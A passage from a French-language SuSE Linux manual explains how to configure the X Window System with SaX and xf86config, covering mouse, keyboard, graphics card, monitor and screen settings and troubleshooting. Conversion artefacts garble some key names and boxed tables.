pour être sûr que la configuration soit complète et correcte, vous devez absolument vérifier les paramétrages effectués par SaX et le cas échéant les corriger ! Pour cela, le programme met à votre disposition cinq ``fiches à onglets'' qui sont `Souris', `Clavier', `Carte graphique', `Moniteur' et `Écran', accessibles par un simple clic sur le titre correspondant (l'onglet de la fiche concernée). Au cas où votre souris ne serait pas encore correctement configurée, vous avez la possibilité de piloter le programme au moyen_du clavier. En appuyant plusieurs fois sur la touche de tabulation (= |T____a|b), vous pouvez parvenir aux différents champs_d'entrée d'une fiche. Pour accéder aux différentes fiches, appuyez sur |T____a|bjusqu'à ce que le titre sur l'onglet soit entouré d'un cadre_ ___ noir. Vous pourrez alors choisir la fiche que vous désirez avec | ___|_ou_|____|!._ Elle sera affichée dès que vous aurez validé votre sélection avec |_________E|ntrée. Chaque fiche est dotée de plusieurs éléments de commande tels que boutons (angl. buttons), listes déroulantes (angl. listboxes) et champs d'entrée (angl. entry fields) qu'il est également possible de manipuler entièrement à l'aide du clavier._Pour accéder à un bouton, par exemple `Appliquer', appuyez sur T|||_|_abjusqu'à ce que le _bouton__concerné soit__entouré_ d'un__cadre_ noir. ____ Vous pourrez alors l'activer avec |E_________|spaceou |E_________|ntrée(|_____-|). Avec |F____1|0, vous arrivez dans la liste des menus sur le bord supérieur. Pour sélectionner une entrée dans une liste déroulante, appuyez sur la touche Tab |||||||||__jusqu'à ce que la boîte correspondante soit encadrée. Avec |"__|et |#__|vous pouvez, par un marquage en couleur,_sélectionner_une entrée qui deviendra active si vous appuyez sur |E_________|ntrée. La souris La fiche `Souris' est la première à apparaître après le lancement du pro- gramme (figure 8.1 page suivante). Si vous avez déjà configuré votre souris au cours d'une première installation de Linux, par exemple lors de la configuration de gpm, les données alors ob- tenues seront utilisées par SaX . Vous pourrez ainsi disposer immédiatement de votre souris sous le système X Window. Dans ce cas, vous pouvez poursuivre votre configuration en sautant cette étape. Mais si vous n'avez pas encore configuré votre souris, vous devez le * * 241 8. Le système X Window____________________________________________________________________________________________________________* *_______________________________________@ Fig. 8.1: SaX : Configuration de la souris faire dès maintenant. Appuyez deux fois _sur | _____|Tabet_ sélectionnez la souris qui convient sous _`Constructeur'_ (avec | _"|et | _#|, vous pouvez parcourir la liste). Avec |_________E|ntrée,_ vous confirmerez la sélection du constructeur que vous avez marqué. Allez avec |T____a|bdans la liste de sélection `Modèles' et choisissez le type de souris adéquat ~ En activant le bouton `Appliquer', vous pourrez vérifier si votre choix a été le bon. Vous devriez ensuite pouvoir déplacer le pointeur de la souris. Si vous ne connaissez pas exactement le type de votre souris ou si celle-ci n'est pas mentionnée et si, dans le cas d'une souris série `Microsoft', le type `Standard Mouse' ne convient pas, sélectionnez le sous-menu `Mode expert' afin de déterminer directement un protocole de souris. Vous pourrez en outre configurer des options plus avancées, telles que par exemple le débit en bauds et ``l'émulation du troisième bouton''. Le `Mode expert' vous donne accès aux fiches suivantes : `Pilote' : Si le nom du constructeur vous est inconnu, vous pouvez ici dé- terminer directement le `Protocole' de souris. Vous devez aussi choisir le fichier de périphérique (angl. device). Pour une souris bus, vous devriez essayer la variante PS/2 correspondante. `Propriétés' : Réglage complémentaire, vitesse de réaction de la souris. `Options' : Émulation du troisième bouton, etc. `Test' : Vous pouvez vérifier la configuration de votre souris (figure 8.2 page ci-contre) dans la partie inférieure de la souris symbolique, dans le cadre `Champ de test'. Si la souris est bien réglée, les symboles des boutons doivent clignoter sur l'écran lorsque vous cliquez les boutons correspondants de votre souris. 242 _______________________________________________________________________________________8.1.__Configuration_avec_SaX_________* *______________________ Fig. 8.2: SaX : Configuration de la souris en mode expert Le clavier Le clavier par défaut est un clavier Windows 95/98 allemand (figure 8.3). Si vous possédez un autre clavier, vous devez régler ici les paramètres néces- saires car le clavier est l'un des rares composants du matériel qui n'est pas reconnu automatiquement. Fig. 8.3: SaX : Clavier En comparant votre clavier avec l'`Image du clavier' affichée à l'écran, vous pourrez aisément choisir le modèle adéquat sous `Modèle'. N'oubliez pas non plus de sélectionner comme `Langue' le `Français'. À côté du bouton `Effacer', vous trouverez un champ de test dans lequel vous pourrez vérifier la disposition des touches en tapant différents caractères ~ n'oubliez pas les lettres accentuées ! * * 243 8. Le système X Window____________________________________________________________________________________________________________* *_______________________________________@ Le bouton `Redéfinir les touches mortes' est utilisé afin que tous les caractères du clavier, y compris les caractères spéciaux, soient représentés sous X par une seule pression de la touche. La configuration en `Mode ex- pert' ne vous est probablement pas nécessaire : : : Le bouton `Appliquer' sert à rendre les modifications effectives. La carte graphique Sur la fiche `Carte graphique', vous pouvez sélectionner le constructeur dans la liste de gauche et le modèle de la carte correspondante dans la liste de droite (figure 8.4). SaX tente de reconnaître lui-même la carte graphique ce qui, avec les cartes graphiques PCI, fonctionne en général de façon très fiable. L'utilitaire a recours pour cela à une vaste base de données du matériel graphique courant. Voir le paquetage cdb (angl. Component Data Base). Le matériel détecté est mis en évidence par un marquage en couleur. Fig. 8.4: SaX : Carte graphique Il se cache sous le bouton `Mode expert' des options avancées de confi- guration (figure 8.5 page suivante). Celles-ci entrent en jeu lorsque vous sé- lectionnez directement votre serveur X (`Configuration du serveur'), lorsque vous spécifiez la quantité de mémoire sur la carte graphique et la va- leur de RAMDAC. Ou si vous souhaitez régler vous-même un circuit spé- cial de RAMDAC ou d'horloge (sous `Chipsets') pour votre carte gra- phique. Diminuez la valeur de RAMDAC si la manipulation des fenêtres pose quelques problèmes, par exemple si vous voyez apparaître pour un court ins- tant des fragments de la ligne de titre lorsque vous déplacez une fenêtre. ________________________________________________________________________________________________________* *________ | Les cartes ISA ne sont pas reconnues ``automagiquement'', l'utilisateur doit * * ||| | * * ||| | sélectionner ``à la main'' le serveur adéquat. * * ||| |_______________________________________________________________________________________________________* *________|||_ 244 _______________________________________________________________________________________8.1.__Configuration_avec_SaX_________* *______________________ Fig. 8.5: SaX : Carte graphique ~ mode Expert Si lors de la sélection de votre carte graphique vous lisez le message d'erreur "The SVGA server is not installed...", vous devrez installer avec YaST le paquetage spécifié dans ce message (voir paragraphe 3.4 page 94). Le moniteur Le dernier gros obstacle à surmonter avant de parvenir à un serveur X fonc- tionnel est la configuration du moniteur utilisé. Ici aussi, vous pouvez sélec- tionner le `Constructeur' du moniteur dans la liste de gauche de la fiche `Moniteur'. Par un nouveau clic de la souris, vous pouvez sélectionner votre propre modèle dans la liste de droite (`Type'). Si contre toute attente votre moniteur ne devait pas figurer dans la liste, vous pouvez, en cliquant sur le bouton `Mode expert', indiquer la fréquence horizontale et la fréquence verticale spécifiques à votre moniteur. Celles-ci se trouvent habituellement dans la documentation qui accompagne votre moniteur. Si vous ne possédez aucune information sur votre moniteur, SaX fixera par défaut la fréquence horizontale à 29-61 kHz et la fréquence verticale à 60-70 Hz. Ces fréquences sont inoffensives pour la plupart des moniteurs. Si au démarrage du serveur X l'image reste sombre ou présente de très forts__ scintillements, vous devriez arrêter immédiatement le serveur X avec |C______|trl+ Alt |||||||||__+ | _____|7(l!a touche | _____|7es!t celle qui efface le caractère situé à gauche du curseur !). Sinon votre moniteur risque d'être endommagé, voire détruit. L'écran Si vous avez réussi à installer votre carte graphique, vous disposez mainte- nant d'un grand nombre de résolutions et de profondeurs de couleurs (angl. colordepth) qui peuvent être gérées dans le menu `Écran'. L'aspect de la fiche `Écran' peut éventuellement faire penser à d'autres systèmes d'exploitation ;-) Sur le `bureau', vous pouvez choisir une `résolution' pour chaque pro- fondeur de couleurs (`Couleurs'). * * 245 8. Le système X Window____________________________________________________________________________________________________________* *_______________________________________@ Fig. 8.6: SaX : Écran Si vous voulez faire établir une liste de plusieurs résolutions pour une pro- fondeur de couleurs déterminée, ceci est possible dans le `Mode expert' (figure 8.7). Fig. 8.7: SaX : Écran `Résolution' : Cette fiche comprend les sections suivantes : Résolutions `possibles' Résolutions `actuelles' `Couleurs' , la liste de sélection des profondeurs de couleurs Sur la rangée verticale de boutons qui se trouve sur le côté droit, vous sélectionnerez tout d'abord la profondeur de couleurs (`Couleurs') pour laquelle les résolutions de l'écran doivent être configurées. 246 _______________________________________________________________________________________8.1.__Configuration_avec_SaX_________* *______________________ Le serveur X peut démarrer avec différentes profondeurs de couleurs. Une valeur de 8 bits signifie que 256 couleurs peuvent être affichées simul- tanément à l'écran. Pour la même profondeur de couleurs, il existe aussi différentes résolutions d'écran, par exemple 800x600 . Mais toutes les ré- solutions ne sont pas disponibles pour toutes les profondeurs de couleurs. Avec certaines cartes, il n'est pas possible d'utiliser une résolution de 1600x1200 pour une valeur de 32 bits car la plupart des cartes gra- phiques ne possèdent pas suffisamment de mémoire pour cela. Pour une profondeur de couleurs de 8 bits , il existe dans la liste des résolutions `actuelles' différentes résolutions allant par exemple de 1600x1200 à 640x480 . Ces résolutions sont interchangeables en cours d'exécution dans l'ordre dans lequel elles_figurent_dans_la liste._On utilise_ ____ pour_cela la combinaison_de touches_|C______|trl+ |A____l|t+ |+_ |ou |C______|trl+ |A____l|t + |-_ |(les touches |+_ |et |-_ |doivent être prises dans le pavé numérique !). La valeur qui figure en tête de liste est celle avec laquelle le serveur X est lancé. Vous devez faire passer les résolutions que vous souhaitez utiliser de la liste des résolutions `possibles' à la liste des résolutions `actuel- les'. Cliquez pour cela sur la résolution choisie pour la marquer et en- suite sur le bouton `E' pour l'ajouter à la liste des résolutions `actuel- les'. Avec `V', vous remettrez les entrées que vous ne souhaitez pas conserver à leur emplacement d'origine. L'ordre des entrées de la liste `Actuelles' peut être modifié à l'aide des touches fléchées qui se trouvent tout en bas de la fenêtre `Actuelles' contenant la liste. Pour cela, on marque l'entrée que l'on veut déplacer et on clique, avec le bouton droit de la souris, sur la flèche pointant vers le haut ou la flèche pointant vers le bas. Ainsi l'entrée change de place avec celle qui la précède ou avec celle qui lui succède. Dès que vous serez satisfait de votre configuration avec une profondeur de couleurs de 8 bits , vous pourrez choisir une autre valeur, par exemple 16 bits . Vous verrez alors, dans la liste `Possibles', les résolutions d'écran qui peuvent être choisies pour cette valeur. Celles-ci peuvent être manipulées comme il a été décrit précédemment. `Résolution virtuelle' : Sur cette fiche, vous pouvez déterminer les tailles d'écrans virtuels. Si vous voulez vraiment disposer d'une zone d'écran virtuelle, vous devrez augmenter les valeurs pour `Virtuel X' (= largeur) ou `Virtuel Y' (= hauteur) ~ mais en général ceci n'est pas souhaitable ! Précisions : Le système X Window vous donne la possibilité de définir une taille d'écran virtuel. Ceci permet de travailler sur un bureau plus grand que la partie visible de l'écran. Vous pouvez par exemple utiliser une taille d'écran virtuel de 1152x864 avec une résolution du moniteur de 800x600 . `Spéciale' Cette fiche vous permet de générer votre propre résolution. Vous pouvez en outre déterminer ici la `qualité' des ``modelines'', c'est-à-dire choisir entre deux modes de calcul. * * 247 8. Le système X Window____________________________________________________________________________________________________________* *_______________________________________@ Vous devriez maintenant déterminer avec quelle profondeur de couleurs par défaut le serveur X devra démarrer. Vous devez pour cela, sur la fiche `Écran', rendre actuelle la profondeur de couleurs désirée (via `Cou- leurs'). Lorsque ceci est fait, cliquez sur le bouton `Configurer le mode actuel' pour procéder à un démarrage d'essai du serveur X : : : Tester la configuration Après un bref laps de temps, il apparaît une boîte de messages. Cliquez ~ si vous êtes d'accord ~ sur `OK'. Vous devriez alors voir apparaître l'image de fond et une fenêtre divisée en deux zones. La partie de gauche contient quelques informations sur la résolution actuellement utilisée et la fréquence horizontale ou verticale du mode vidéo. La partie de droite contient deux champs de touches, `Taille' et `Posi- tion' qui permettent un ajustement optimal de l'image. Les touches fléchées dans le champ `Taille' servent à agrandir et à réduire l'image dans le sens horizontal et dans le sens vertical. Dans le champ `Position', on peut mo- difier la position relative de l'image sur le moniteur. Ajustez l'image selon vos désirs ! Un petit rectangle est situé sur chacun des quatre coins de la fenêtre pour permettre de contrôler le bon ajustement de l'image. Si l'image est optimale, ces rectangles sont entièrement visibles sans aucune altération de couleur. ________________________________________________________________________________________________________* *________ | Bien qu'avec SaX vous puissiez ajuster l'image de façon précise, cela ne * * |||| | * * ||| | vous dispense pas d'un ajustement complémentaire effectué manuellement * * ||| | avec les touches du moniteur ! * * ||| |_______________________________________________________________________________________________________* *________|||_ Après avoir ajusté correctement l'image, vous avez trois possibilités pour fermer la fenêtre : `Sauvegarder et quitter' : Vous terminez la configuration de votre système X Window en enregistrant vos données de configuration. Vous retournez ainsi à la ligne de commande. `Abandonner' : Vous voulez quitter SaX sans conserver les configurations. Le cas échéant, appuyez sur |A_____|lt+ |F___|_1pour revenir sur la première console. 8.1.2 Reconfiguration SaX vous apporte une aide efficace pour mieux adapter un serveur fonction- nel à vos besoins. Pour cela, SaX lit le fichier /etc/XF86Config déjà existant dans lequel le système X Window a stocké les données de configuration et il les analyse. Il ne vous est donc pas absolument nécessaire d'effectuer vous-même toutes les configurations à commencer par la souris jusqu'au moniteur car SaX prend en compte les configurations du serveur X qui fonctionnent déjà. SaX met ces données à disposition sur les fiches décrites plus haut. L'utilisateur a cependant toute liberté lors de la nouvelle configuration de son serveur X : Il peut rechercher son modèle de moniteur dans la vaste 248 _______________________________________________________________________________________8.1.__Configuration_avec_SaX_________* *______________________ base de données ce qui lui permet de mieux adapter sa configuration aux caractéristiques de son moniteur et il peut en outre ajuster aisément l'image. SaX lui offre aussi, pour la gestion des profondeurs de couleurs et des réso- lutions de la carte graphique, une interface facilement accessible par un clic de souris sur l'onglet de la fiche `Écran'. 8.1.3 Cas problématiques Nous allons parler ici des problèmes les plus importants qui se produisent le plus fréquemment lors de la configuration avec SaX : ~ Si, lorsque vous testez votre configuration, l'image présente de très forts scintillements ou si elle est noire ou déchirée, vous devez arrêter immédia- tement le serveur_X_car_le moniteur_risque_d'être_endommagé. Appuyez ____ pour cela sur |C______|trl+_|A____l|t+ | ____7|~!Attention, ce n'est pas de |T____a|bqu'il s'agit mais de | ____7|:!la touche servant à effacer le caractère situé à gauche du curseur ! Vous devriez ensuite passer à la fiche `Moniteur' et choisir un moniteur mieux approprié ou entrer manuellement les données de votre moniteur. Ceci est également valable dans le cas où l'image commencerait à scin- tiller pendant la procédure d'ajustement. ~ Pour les problèmes particulièrement persistants, SaX met à votre disposi- tion deux options en ligne de commande, par exemple : --server vga16 : Lors du premier démarrage de SaX , on utilise le serveur VGA16 au lieu de celui approprié à la carte. Le serveur VGA16 devrait fonctionner avec presque toutes les cartes VGA. Ce serveur est utilisé automatiquement si votre carte graphique n'est pas reconnue ou si vous avez une carte ISA. La documentation courante relative à SaX se trouve dans le répertoire /usr/ doc/packages/sax. S'il devait se produire quelque chose d'imprévu lors du démarrage de SaX ou au cours des différentes étapes de la configuration, ceci sera écrit dans les fichiers /root/ServerLog et /root/StartLog. L'exa- men de ces fichiers vous permettra de savoir comment continuer. 8.1.4 Démarrage du système X Window Le système X Window peut maintenant être lancé par tout utilisateur avec startx . Une interface graphique préconfigurée pour le gestionnaire de fenêtres fvwm est mise à la disposition de l'utilisateur courant. Il est donc recom- mandé d'invoquer startx sous ce compte et non pas sous le compte `root'. Les messages d'erreur du serveur X seront redirigés vers le fichier ~/.X.err. startx peut être lancé avec certaines options ; on peut par exemple avec tux@terre: > startx -- -bpp 16 choisir une profondeur de couleurs de 16 bits. * * 249 8. Le système X Window____________________________________________________________________________________________________________* *_______________________________________@ 8.1.5 Liste de contrôle pour l'installation de cartes graphiques X fonctionne mais l'image présente encore quelques défauts ou bien vous désirez tout simplement l'optimiser. ~ La cause principale de nombreux problèmes au niveau de la représenta- tion de l'image est le choix d'une fréquence verticale (vsync ) trop élevée. Comme hsync et DotClock en dépendent de façon linéaire, c'est ici que l'on trouve l'origine de la plupart des problèmes. Une réduction de la fréquence de rafraîchissement à 80 Hz par exemple permet d'obtenir une image pratiquement stable qui est en outre beau- coup plus nette qu'une image représentée avec une fréquence de 160 Hz. Avec un taux de de rafraîchissement de 80 Hz, la fréquence de pixels est seulement la moitié de celle obtenue avec 160 Hz. Essayez par conséquent de diminuer la fréquence verticale maximale. Sé- lectionnez pour cela l'onglet de la fiche `Moniteur' sous SaX et défi- nissez sous `Mode expert' une fréquence maximale moins élevée. Les écrans modernes ont une fréquence tout à fait plaisante située entre 80 et 90 Hz. ~ Il survient parfois aussi des problèmes avec le ``curseur matériel'' : Il apparaît un bloc rectangulaire ou quelque chose qui ressemble à un ``code barre'' à la place du curseur de la souris. Voici un remède bien éprouvé : insérer Option "sw_cursor" dans la section "Device" . ~ Instructions pour la configuration et première aide en cas de problèmes : Les fichiers README ~ classés par constructeurs de chipsets ~ dans le répertoire /usr/X11R6/lib/X11/doc/, les pages de man relatives aux serveurs X et bien entendu la FAQ concernant XFree86 (http://www. xfree86.org) ainsi que les pages SuSE pour les mises à jour : http://www.suse.de/en/support/xsuse/ Dans le tableau suivant les options sont classées par ordre de probabilité. Cela signifie qu'en règle générale on parviendra au but avec la première option, au plus tard avec la deuxième. La troisième option représente le plus souvent la méthode forte ;-) En fait, toutes les options sont enregistrées dans la section Device du fichier /etc/XF86Config. ~ Un code barre ou un carré en couleur à la place du curseur souris. 1. Option sw_cursor dans la section Device. 2. Option no_imageblt ou no_bitblt . 3. Option noaccel . ~ Image trop étroite ou comprimée. Les réglages du moniteur sont déjà à la limite. 1. Il est probable que la fréquence de rafraîchissement de l'image ou la fréquence horizontale (hsync ) soit trop élevé, atteignant ainsi la limite supportée par le moniteur. Solution : réduire la fréquence verticale (vsync ) et/ou la fréquence horizontale (hsync ). 250 ___________________________________________________________________________8.2.__Configuration_avec_xf86config______________* *______________________ 2. Modifier la position de l'image avec le programme xvidtune . Il est possible que le mode utilisé ne soit pas vraiment adéquat. 3. Ajouter le paramètre +hsync +vsync à la modeline en essayant de remplacer + par - . ~ Lors du déplacement de fenêtres, il reste des bandes ou des résidus de fenêtres qui ne disparaissent pas après la fin du déplacement. Ils ne sont éliminés que par un rafraîchissement du bureau. 1. Réduire le taux de rafraîchissement ou la résolution. 2. Utiliser, en fonction du chipset, les options correspondantes des fichiers README du répertoire /usr/X11R6/lib/X11/doc/. Par exemple les options fifo_conservative ou slow_dram . Attention : Tout ceci dépend du chipset de la carte graphique ! 3. Option noaccel , mais éventuellement no_imageblt ou no_bitblt peut déjà suffire. ~ ``Parasites'' ~ perturbations de l'image lors du déplacement de fe- nêtres ou de la visualisation de vidéos. Ces phénomènes disparaissent cependant lorsque l'image affichée est statique. 1. Réduire le taux de rafraîchissement de l'image, la profondeur des cou- leurs ou la résolution. 2. Réduire la fréquence de mémorisation de la carte ou supprimer ou ajouter des cycles d'attente. Parfois possible avec set_mclk (pas avec tous les chipsets !) Vous trouverez des informations plus précises dans le répertoire README. Attention, cette option est dangereuse (la fré- quence de la carte peut dépasser la limite maximale admise). ~ L'écran devient noir au démarrage de XFree86. 1. Réduire le taux de rafraîchissement de l'image. 2. Prendre en considération d'autres sources d'erreurs : Rechercher dans le système d'éventuels conflits d'IRQ (la souris PS/2 par exemple re- quiert l'IRQ 12). 8.2 Configuration avec xf86config Dans la majeure partie des cas, SaX se montre supérieur au programme xf86config pour la simple configuration du système X Window. Mais dans les rares cas où la configuration avec SaX échoue, elle réussit en général avec xf86config . Voici les données nécessaires pour la configuration : ~ Type de la souris, interface à laquelle elle est connectée et débit en bauds avec lequel elle est utilisée (ce dernier point est en général optionnel). ~ Spécification de la carte graphique. ~ Paramètres de fonctionnement du moniteur (fréquences, etc.). Si vous connaissez ces paramètres ou si vous avez la documentation concer- nant votre moniteur et votre carte graphique à portée de la main, la configura- tion peut commencer. Elle ne peut toutefois être effectuée que par l'utilisateur `root' ! * * 251 8. Le système X Window____________________________________________________________________________________________________________* *_______________________________________@ La configuration est mise en route par la commande : terre:/root # /usr/X11R6/bin/xf86config Souris Après la page d'accueil, il vous est demandé, dans le premier menu, quel est le type de votre souris : Il vous est proposé le choix suivant : ________________________________________________________________________________________________________* *________|| | 1.2.MicrosoftMocompatibleus(2-buttone protocol)Systems (3-button protocol) * * | | * * | | 3. Bus Mouse * * | | 4. PS/2 Mouse * * | | 5. Logitech Mouse (serial, old type, Logitech protocol) * * | | * * | | 6. Logitech MouseMan (Microsoft compatible) * * | | 7. MM Series * * | | 8. MM HitTablet * * | |_______________________________________________________________________________________________________* *________ | affichage à l'écran 8.2.1: Sélection de la souris pour X Pour la détermination du type de la souris, il convient de noter que de nom- breuses souris Logitech de modèle récent sont compatibles Microsoft ou uti- lisent le protocole MouseMan. Le choix Bus Mouse inclut tous les types de souris bus y compris Logitech ! La sélection du type de souris adéquat se fait en spécifiant le numéro qui précède le nom. Il vous sera éventuellement demandé (si vous choisissez par exemple le type 1), si vous voulez activer ChordMiddle . Ceci est indispen- sable pour pouvoir activer le bouton central de certaines souris ou boules de pointage (angl. trackballs) Logitech : Please answer the following question with either 'y' or 'n'. Do you want to enable ChordMiddle? Si vous utilisez une souris à deux boutons, vous pouvez, en répondant par `y' à la prochaine question, activer l'émulation d'un troisième bouton : Please answer the following question with either 'y' or 'n'. Do you want to enable Emulate3Buttons? Le troisième bouton est émulé par la pression simultanée des deux boutons de la souris simulant la pression du bouton central. Il vous sera ensuite demandé à quelle interface votre souris est connectée : Now give the full device name that the mouse is connected to, for example /dev/tty00. Just pressing enter will use the default, /dev/mouse. Mouse device: Si au cours de l'installation du système un port a déjà été spécifié pour la souris, vous devriez reprendre ici le périphérique par défaut (/dev/mouse ). Clavier Il vous est maintenant_demandé si la valeur Meta (ESC) doit être associée à ____ la touche |A____l|tde gauche et la valeur ModeShift (AltGr) à la touche |A____l|tde droite : Please answer the following question with either 'y' or 'n'. Do you want to enable these bindings for the Alt keys? 252 ___________________________________________________________________________8.2.__Configuration_avec_xf86config______________* *______________________ Il convient ici de choisir_`y'_afin que les caractères du clavier accessibles_par l'intermédiaire de |A_________|ltpuGrissent être tapés et que la touche |A____l|tde gauche puisse être utilisée comme touche Meta3 . Moniteur Le moniteur doit maintenant être spécifié. Le point critique est constitué par la fréquence horizontale et la fréquence verticale. Celles-ci sont généralement indiquées dans la documentation qui accompagne votre moniteur. _______________________________________________________________________________________________________________________|| |||||||| Une erreur lors de la spécification des fréquences peut entraîner la détério- ||| | |||||||| ration irrémédiable de votre moniteur ! Le système X Window ne s'adresse || | |||||||| || | |||||||| qu'à des modes vidéo qui utilisent le moniteur avec les fréquences indi- || | |||||||| quées. En spécifiant des fréquences pour lesquelles le moniteur n'a pas été || | |||||||| || | |||||||| conçu, vous risquez de le surcharger ! || | ||||||||_______________________________________________________________________________________________________________||_ Vous pouvez aussi retrouver les paramètres de fonctionnement de certains moniteurs dans le fichier /usr/X11R6/lib/X11/doc/Monitors4 . Pour la fréquence horizontale vous avez le choix suivant : _______________________________________________________________________________________________________________________|||| |||||||| hsync in kHz; monitor type with characteristic modes | |||||||| 1 31.5; Standard VGA, 640x480 @ 60 Hz | |||||||| 2 31.5 - 35.1; Super VGA, 800x600 @ 56 Hz | |||||||| | |||||||| 3 31.5, 35.5; 8514 Compatible, 1024x768 @ 87 Hz interl. | |||||||| (no 800x600) | |||||||| 4 31.5, 35.15, 35.5; Super VGA, 1024x768 @ 87 Hz il., | |||||||| 800x600 @ 56 Hz | |||||||| | |||||||| 5 31.5 - 37.9; Extended Super VGA, 800x600 @ 60 Hz, | |||||||| 640x480 @ 72 Hz | |||||||| 6 31.5 - 48.5; Non-Interlaced SVGA, 1024x768 @ 60 Hz, | |||||||| | |||||||| 800x600 @ 72 Hz | |||||||| 7 31.5 - 57.0; High Frequency SVGA, 1024x768 @ 70 Hz | |||||||| 8 31.5 - 64.3; Monitor that can do 1280x1024 @ 60 Hz | |||||||| 9 31.5 - 79.0; Monitor that can do 1280x1024 @ 74 Hz | |||||||| | |||||||| 10 Enter your own horizontal sync range | |||||||| Enter your choice (1-10): | ||||||||_______________________________________________________________________________________________________________ | affichage à l'écran 8.2.2: Fréquences de balayage horizontales du moniteur Si vous ne connaissez pas les paramètres exacts de votre moniteur, vous de- vriez utiliser l'une des valeurs par défaut. Avec `10', vous pouvez spécifier les fréquences exactes. Après la fréquence horizontale, il vous sera demandé de spécifier la fréquence verticale. Il vous sera également présenté ici une liste de sélection : Dans ce cas aussi, il est préférable de spécifier les valeurs exactes plutôt que de choisir l'une des options de `1' à `4'. On vous demandera alors d'entrer un nom pour l'identification du moniteur, Enter an identifier for your monitor definition: le nom du constructeur, 3 ____________________________________________________ par exemple sous Emacs. 4 Ces indications sont naturellement fournies sans aucune garantie ! * * 253 8. Le système X Window____________________________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | 12 50-7050-90 * * | || 3 50-100 * * || | 4 40-150 * * | | 5 Enter your own vertical sync range * * | | * * | | * * | | Enter your choice (1-5): * * | |_______________________________________________________________________________________________________* *________ | affichage à l'écran 8.2.3: Fréquences verticales détaillées Enter the vendor name of your monitor: et le modèle de votre moniteur Enter the model name of your monitor: Vous pouvez entrer ici un nom approprié ou reprendre, avec |__________|Entrée, les valeurs par défaut. La spécification du moniteur est ainsi terminée. Carte graphique/Serveur X Passons maintenant à la spécification de la carte graphique utilisée : Do you want to look at the card database? Si vous choisissez `y' il vous sera présenté une sélection de cartes graphiques préconfigurées. En indiquant le numéro correspondant, vous pourrez choisir dans cette liste une définition de carte. Vous devriez toutefois éviter de choisir une défini- tion à l'aveuglette car même des cartes du même type peuvent présenter des différences au niveau du circuit d'horloge (angl. clock-chip) et du RAMDAC (angl. Random Access Memory Digital-to-Analogue Converter). C'est la raison pour laquelle, bien que vous ayez déjà choisi une définition, il vous sera encore posé des questions sur le circuit d'horloge et le RAMDAC à certaines étapes plus avancées de la configuration. Il vous sera alors pré- senté, comme option supplémentaire, un paramètre par défaut provenant de la définition de la carte. Les définitions de la carte contiennent des informations sur le circuit d'hor- loge, le RAMDAC et le serveur X à utiliser. vous trouverez le cas échéant de précieuses indications pour la manipulation de la carte dans la section Device du fichier XF86Config. Si la carte que vous cherchez n'est pas mentionnée, vous n'avez aucune rai- son de vous inquiéter. Dans ce cas, il est vous possible de revenir à la confi- guration normale avec `q'. Vous ne devriez toutefois sélectionner une carte graphique que si elle concorde exactement avec la carte utilisée ! Il n'est pas recommandé de choisir une carte ayant un nom similaire. La similitude des noms est loin de signifier que le matériel est également similaire : : : Vous trouverez des informations complémentaires sur la configuration de la carte graphique au paragraphe 8.3 page 259. Après la spécification de la carte, passons maintenant à la sélection du ser- veur X. Vous pouvez choisir : 254 ___________________________________________________________________________8.2.__Configuration_avec_xf86config______________* *______________________ |||||||| | _______________________________________________________________________________________________________________________|||| |||||||| 1 TheanXF86_Monoy server.VGThisA-acomonochromempserveratthatibshouldleworkcaonrd, in 640x480 (more on some|* * SVGA chipsets). ||||||||| 2 The XF86_VGA16 server. This is a 16-color VGA server that should || |||||||| work on any VGA-compatible card. | |||||||| 3 The XF86_SVGA server. This is a 256 color SVGA server that supports | |||||||| a number of SVGA chipsets. It is accelerated on some Cirrus and WD | |||||||| | |||||||| chipsets; it supports 16/32-bit color on certain Cirrus | |||||||| configurations. | |||||||| 4 The accelerated servers. These include XF86_S3, XF86_Mach32, | |||||||| XF86_Mach8, XF86_8514, XF86_P9000, XF86_AGX, XF86_W32 and | |||||||| | |||||||| XF86_Mach64. | |||||||| | |||||||| These four server types correspond to the four different "Screen" | |||||||| | |||||||| sections in XF86Config (vga2, vga16, svga, accel). | |||||||| | |||||||| 5 Choose the server from the card definition, XF86_S3. | |||||||| | |||||||| | |||||||| Which one of these four screen types do you intend to run | |||||||| by default (1-4)? | ||||||||_______________________________________________________________________________________________________________ | affichage à l'écran 8.2.4: Sélection du serveur X 1 Un serveur pour moniteurs monochromes. Il devrait fonctionner avec n'im- porte quelle carte graphique compatible VGA et fournir au moins une résolution de 640x480 pixels. 2 Le serveur 16 couleurs XF86`VGA16. Il devrait fonctionner avec n'im- porte quelle carte graphique compatible VGA. 3 Le serveur SVGA XF86`SVGA. Ce serveur 256 couleurs supporte un grand nombre de cartes SVGA. Certaines cartes Cirrus et WD permettent l'accélération de l'affichage en mode graphique. Avec certaines cartes Cirrus il est également possible d'activer le mode couleur 16 bits ou 32 bits. 4 Serveur pour cartes graphiques accélératrices. Vous avez ici le choix entre plusieurs serveurs (voir affichage 8.2.4). 5 Cette option n'est présente que dans le cas où une définition de carte a été spécifiée dans la sélection précédente. On vous propose ici le serveur approprié à la carte sélectionnée. Si vous avez sélectionné un serveur, on vous demande alors si un lien symbo- lique pointant du serveur sur /usr/X11R6/bin/X doit être édité. Si vous ré- pondez `y', il vous sera demandé si le lien doit être créé dans /var/X11R6/ bin : Do you want to set it in /var/X11R6/bin? Vous devez absolument répondre à cette question par l'affirmative car il peut arriver qu'il ne soit pas possible d'écrire sur l'arborescence /usr. Ensuite, il apparaît éventuellement (si plus haut vous avez sélectionné `4') un menu qui vous propose les serveurs X disponibles pour les cartes graphiques accélératrices : Chacun de ces serveurs supporte la carte correspondante. La création du lien requiert l'installation préalable du serveur adéquat. Cela signifie que ce ser- * * 255 8. Le système X Window____________________________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|||| | Select an accel server: * * | || 1 XF86_S3 * * || | 2 XF86_Mach32 * * | | 3 XF86_Mach8 * * | | 4 XF86_8514 * * | | * * | | 5 XF86_P9000 * * | | 6 XF86_AGX * * | | 7 XF86_W32 * * | | * * | | 8 XF86_MACH64 * * | | * * | | Which accel server: * * | |_______________________________________________________________________________________________________* *________ | affichage à l'écran 8.2.5: Serveurs X pour cartes accélératrices veur doit déjà avoir été sélectionné lors de l'installation du système X Win- dow. Après la sélection du serveur X, la carte graphique doit encore être spécifiée de façon plus précise. On vous demandera tout d'abord quelle est la quantité de mémoire de votre carte : ________________________________________________________________________________________________________* *________|| | How much video memory do you have on your video card: * * | | * * | | 1 256K * * | | 2 512K * * | | * * | | 3 1024K * * | | 4 2048K * * | | 5 4096K * * | | 6 Other * * | | * * | | 